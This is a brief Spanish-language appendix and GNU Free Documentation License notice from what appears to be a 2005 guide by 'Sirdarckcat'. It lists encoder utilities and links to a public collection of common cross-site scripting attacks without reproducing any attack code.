  • Anexo(EUU.htm) -Codificador Hexadecimal, Decimal, Binario
  • Anexo(b64.htm) -Codificador y decodificador de Base64 y Radix64
  • http://ha.ckers.org/xss.html -Gran recopilatorio de ataques XSS comunes

Citar
(c) Sirdarckcat 2005
Autorizo la reproduccion total o parcial de este documento de acuerdo con la licencia de documentación libre de GNU, una copia puede ser encontrada en http://www.gnu.org/